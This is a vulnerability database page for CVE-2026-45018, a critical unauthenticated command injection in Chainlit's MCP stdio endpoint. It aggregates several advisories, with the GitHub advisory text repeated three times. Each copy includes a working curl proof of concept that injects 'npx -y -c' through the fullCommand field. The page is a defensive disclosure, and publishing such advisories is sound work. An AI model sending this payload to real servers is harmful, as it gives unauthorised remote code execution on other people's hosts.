CVE-2026-45018
Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution
Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution
Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.
- Record
CVE-2026-45018- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-65737
9.8
Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.
- Record
EUVD-2026-65737- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-w3fx-mc44-mf6j
9.8
Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
Am I affected?
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
Summary
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.
Affected / patched versions
| | |
|---|---|
| CVE | CVE-2026-45018 |
| Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) |
| Patched | 2.12.0 (releasing 2026-08-25) |
Details
validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.
Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.
There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.
The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.
Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command()
Sink: backend/chainlit/server.py — StdioServerParameters
PoC
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.
- Establish a Socket.IO session to get a valid
sessionId:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
- Send the command injection payload:
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "rce-proof",
"clientType": "stdio",
"name": "poc",
"fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
}'
The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.
Impact
Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.
Fix
Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.
Workarounds
If you cannot upgrade…
- Record
GHSA-w3fx-mc44-mf6j- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
9.8
Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.
- Record
CVE-2026-45018- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
9.8
Chainlit: Command injection via MCP stdio transport allows unauthenticated remote code execution
Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For stdio transport, the endpoint accepts a user-controlled fullCommand string. The validate_mcp_command() function in backend/chainlit/mcp.py checks only the executable name against config.features.mcp.stdio.allowed_executables and passes unchecked arguments to StdioServerParameters in backend/chainlit/server.py. Because npx supports the -c argument, an attacker can execute arbitrary shell commands with the privileges of the Chainlit process. If allowed_executables is unset, its None default is treated as allowing every executable. This issue is fixed in version 2.12.0.
- Record
CVE-2026-45018- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-w3fx-mc44-mf6j
9.8
Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
Am I affected?
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
Summary
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.
Affected / patched versions
| | |
|---|---|
| CVE | CVE-2026-45018 |
| Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) |
| Patched | 2.12.0 (releasing 2026-08-25) |
Details
validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.
Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.
There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.
The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.
Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command()
Sink: backend/chainlit/server.py — StdioServerParameters
PoC
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.
- Establish a Socket.IO session to get a valid
sessionId:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
- Send the command injection payload:
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "rce-proof",
"clientType": "stdio",
"name": "poc",
"fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
}'
The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.
Impact
Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.
Fix
Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.
Workarounds
If you cannot upgrade…
- Record
GHSA-w3fx-mc44-mf6j- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVPYSEC-2026-3812
9.8
Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
Am I affected?
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
Summary
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.
Affected / patched versions
| | |
|---|---|
| CVE | CVE-2026-45018 |
| Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) |
| Patched | 2.12.0 (releasing 2026-08-25) |
Details
validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.
Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.
There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.
The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.
Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command()
Sink: backend/chainlit/server.py — StdioServerParameters
PoC
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.
- Establish a Socket.IO session to get a valid
sessionId:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
- Send the command injection payload:
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "rce-proof",
"clientType": "stdio",
"name": "poc",
"fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
}'
The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.
Impact
Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.
Fix
Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.
Workarounds
If you cannot upgrade…
- Record
PYSEC-2026-3812- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
chainlitPyPI |
2.4.0rc0 to 2.11.1 | 2.12.0 |
chainlitPyPI |
2.4.0rc0 up to 2.12.0, plus listed versions 2.10.02.10.12.11.02.11.12.4.0 Show 35 moreShow less2.4.12.4.22.4.2012.4.32.4.3012.4.3022.4.4002.5.52.6.02.6.12.6.22.6.32.6.42.6.52.6.62.6.72.6.82.6.92.7.02.7.12.7.1.12.7.22.8.02.8.12.8.22.8.32.8.42.8.52.9.02.9.12.9.22.9.32.9.42.9.52.9.6 |
2.12.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45018 is a critical vulnerability (CVSS 9.8) in Chainlit, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.09%, the 65th percentile. Fixed in chainlit 2.12.0.
References
github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j
github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9
github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md
github.com/Chainlit/chainlit/releases/tag/2.12.0
github.com/advisories/GHSA-w3fx-mc44-mf6j
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45018.json
nvd.nist.gov/vuln/detail/CVE-2026-45018
github.com/Chainlit/chainlit
pypi.org/project/chainlit
Left out here: the rest of 3 source descriptions. The JSON record has them.